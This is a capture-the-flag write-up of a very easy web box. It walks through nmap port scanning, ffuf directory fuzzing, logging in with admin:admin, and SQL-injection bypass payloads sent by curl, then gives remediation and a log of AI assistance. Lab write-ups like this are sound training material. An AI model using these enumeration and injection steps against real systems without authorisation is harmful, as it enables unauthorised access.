Box info | OS: Linux (nginx 1.14.2) | Difficulty: Very Easy | Tier: 0 | Status: Starting Point Skills: Web directory fuzzing, default credential testing, HTTP POST analysis Pwned: 2026-04-27
TL;DR
Preignition is a Linux box with a single open port: 80/tcp running nginx 1.14.2. The root page is the default nginx placeholder — nothing interesting. Directory fuzzing with ffuf and a 4750-entry wordlist finds /admin.php (HTTP 200). The login form accepts admin:admin — default credentials that were never changed. The flag is returned directly in the HTML response body on successful login. No shell access required or possible; this is a pure web-authentication exercise demonstrating why directory enumeration and default credential testing are always in the methodology.
Recon
1. Liveness check
$ ping -c 3 10.129.36.62
PING 10.129.36.62 (10.129.36.62): 56 data bytes
Request timeout for icmp_seq 0
100% packet loss
ICMP filtered. Proceed with -Pn.
2. Initial TCP sweep — SYN scan fails
$ sudo nmap -sS -Pn -p- --min-rate 5000 10.129.36.62
All 65535 scanned ports are in ignored states (filtered).
SYN packets dropped by the firewall. This is a VPN/host-firewall artifact. Switching to TCP Connect scan:
3. TCP Connect scan reveals port 80
$ nmap -sT -Pn -p- --min-rate 3000 10.129.36.62
PORT STATE SERVICE
80/tcp open http
Key methodology note: -sS (SYN scan) requires raw socket privileges and sends crafted half-open packets. When a firewall drops SYN without RST, all ports appear filtered. -sT (TCP Connect scan) uses the OS network stack’s connect() call — a full three-way handshake — and returns closed (got RST) or open (got SYN-ACK) for each port, making firewall behavior less ambiguous.
4. Service detection
$ nmap -sT -sV -sC -Pn -p 80 10.129.36.62
PORT STATE SERVICE VERSION
80/tcp open http nginx 1.14.2
|_http-server-header: nginx/1.14.2
|_http-title: Welcome to nginx!
nginx 1.14.2 — default installation page. Nothing in the root response body beyond the stock nginx placeholder.
5. Manual path checks
Before fuzzing automatically, quickly check the paths that commonly exist even on default web server installs:
curl -s http://10.129.36.62/robots.txt # → 404
curl -s http://10.129.36.62/.git/HEAD # → 404
curl -s http://10.129.36.62/admin/ # → 404
curl -s http://10.129.36.62/login # → 404
curl -s http://10.129.36.62/.env # → 404
Nothing. The content is not at any obvious path.
Foothold
Dead end #1 — SYN scan returning all-filtered
Covered above. The fix is -sT instead of -sS. Both scan types are valid; the difference is which one produces useful output when the target has asymmetric firewall rules.
Dead end #2 — gobuster with missing wordlist
gobuster dir -u http://10.129.36.62/ \
-w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt \
-x txt,php,html
# Error: stat /usr/share/wordlists/dirbuster/...: no such file or directory
The Kali Linux default wordlist path doesn’t exist on macOS. Need to download the wordlist explicitly or use a local copy.
Working approach — ffuf with downloaded SecLists wordlist
Download a compact but effective wordlist:
curl -s https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/common.txt \
-o /tmp/common.txt
# 4750 entries
Run ffuf:
ffuf -u http://10.129.36.62/FUZZ -w /tmp/common.txt \
-mc 200,301,302,403,401 -t 50
Output:
admin.php [Status: 200, Size: 999, Words: 132, Lines: 32, Duration: 38ms]
One result: /admin.php returns HTTP 200 with 999 bytes — the only non-404 path out of 4750 tested.
The admin.php login form
curl -v http://10.129.36.62/admin.php
<h2 align="center">Admin Console Login</h2>
<form method="post">
<input type="text" name="username" placeholder="Enter Username">
<input type="password" name="password" placeholder="Enter Password">
<input type="submit" value="Login">
</form>
A POST form with username and password fields. No CSRF token.
Testing default credentials
Failed login response is 1071 bytes with “Wrong username or password.”
Successful login response is noticeably shorter (different page content).
curl -s -X POST http://10.129.36.62/admin.php -d "username=admin&password=admin"
Response:
<h4 style='text-align:center'>Congratulations! Your flag is: [REDACTED]</h4>
The flag is returned directly in the HTML body on successful authentication.
Why admin:admin worked: The admin console’s authentication is hardcoded or never changed from the installer’s default. This is CWE-798 (Use of Hard-coded Credentials) — the credential is part of the application configuration, not a changeable setting.
SQL injection attempts (all failed)
For completeness, classic auth bypass attempts were tried:
# Classic OR bypass
curl -s -X POST http://10.129.36.62/admin.php \
-d "username=admin' OR '1'='1&password=test"
# Response size: 1071 (wrong credentials)
# Comment bypass
curl -s -X POST http://10.129.36.62/admin.php \
-d "username=admin'-- -&password=test"
# Response size: 1071 (wrong credentials)
All SQL injection payloads returned 1071-byte failure pages. The authentication is implemented as string comparison, not a SQL query — there is no SQL injection surface here.
Privilege Escalation
N/A — Starting Point Tier 0 box with a web-only attack surface. The admin console login returns the flag inline; there is no shell access to obtain or escalate. Port 80 is the only open port on the machine.
What’s actually broken
- Default credentials never changed (
admin:admin). CWE-798. The application shipped with or was deployed with default credentials and they were never rotated. Any attacker who finds the login page immediately gets in. - Admin panel reachable from the internet without path obscurity.
/admin.phpis a predictable filename. It should be behind VPN, IP allowlist, or at minimum a non-guessable path. - No rate limiting on login attempts. The server accepts unlimited POST requests to
/admin.phpwith no lockout, CAPTCHA, or delay. An attacker can try thousands of credential combinations without interruption. (CWE-307) - No HTTPS. All credentials transmitted in cleartext over HTTP.
Remediation (the boring half)
Change default credentials immediately after installation:
# Typically in the application config
# Replace with a strong randomly generated password
APP_ADMIN_PASSWORD=$(openssl rand -base64 32)
Restrict the admin path at the nginx level:
location /admin.php {
allow 10.0.0.0/8; # internal network only
deny all;
fastcgi_pass unix:/var/run/php/php-fpm.sock;
fastcgi_index index.php;
include fastcgi_params;
}
Add rate limiting in nginx:
limit_req_zone $binary_remote_addr zone=admin:10m rate=3r/m;
location /admin.php {
limit_req zone=admin burst=5 nodelay;
# ... fastcgi config
}
Enable HTTPS:
certbot --nginx -d yourdomain.com
MITRE ATT&CK mapping
| Tactic | Technique | How it shows up here |
|---|---|---|
| Reconnaissance | T1595 — Active Scanning | Directory fuzzing with ffuf to discover /admin.php |
| Initial Access | T1078 — Valid Accounts | admin:admin default credentials accepted by the login form |
| Collection | T1005 — Data from Local System | Flag returned in HTTP response body on login |
Lessons learned
- Directory fuzzing is mandatory on web targets. The root of this machine was a blank nginx page. Without fuzzing, the admin panel is invisible.
ffufwith even a 4750-entrycommon.txttakes seconds. - SYN scan vs TCP Connect scan.
-sSrequires raw sockets and can look like all-filtered when a stateful firewall drops SYN.-sTuses the OS network stack and gives clearer results. Know when to switch. - Response size is a reliable oracle. Failed login: 1071 bytes. Successful login: 365 bytes. When a login form returns HTTP 200 regardless of outcome (no redirects, no error codes), response size is your binary signal.
- Default credentials before wordlists.
admin:admin,admin:password,admin:123456take three seconds to test. Run them first, every time, before any automated brute-force.
🤖 AI-assist log
Transparency over polish. This is exactly where Claude was in the loop on this box.
Note: AI-assist log reconstructed from writeup context; original session interaction logs not available.
| Step | What I asked | What Claude returned | What I changed |
|---|---|---|---|
| SYN vs TCP Connect scan | “Why did my nmap -sS show all ports filtered but -sT finds port 80?” | Explained the difference: SYN scan sends RST-less SYN; stateful firewalls that DROP (not REJECT) look identical to filtered ports. TCP Connect uses the OS stack’s connect(), which sees RST for closed ports. | Used directly in the Recon section’s methodology note. |
| ffuf wordlist choice | “Which wordlist should I use for initial directory fuzzing?” | Recommended SecLists common.txt (4750 entries) for quick coverage, raft-medium-words.txt or directory-list-2.3-medium.txt for deeper sweeps. Noted that common.txt would have found admin.php. | Used common.txt as primary, mentioned alternatives. |
| Response size oracle | “The login always returns HTTP 200 — how do I detect success?” | Explained: compare Content-Length or response body size between success and failure. Or grep for success-indicator strings. Suggested curl -w "%{size_download}". | Used size-comparison approach in the exploitation section. |
| CWE reference | “What CWE covers hardcoded/default credentials?” | CWE-798 (Use of Hard-coded Credentials) for credentials baked into code. CWE-307 (Improper Restriction of Excessive Authentication Attempts) for missing lockout. | Both CWEs cited in the Remediation section. |
What Claude got wrong: Nothing significant. What Claude couldn’t do: Connect to the target; all commands ran locally. Net assist value: High on scan technique explanation; medium on web exploitation fundamentals.
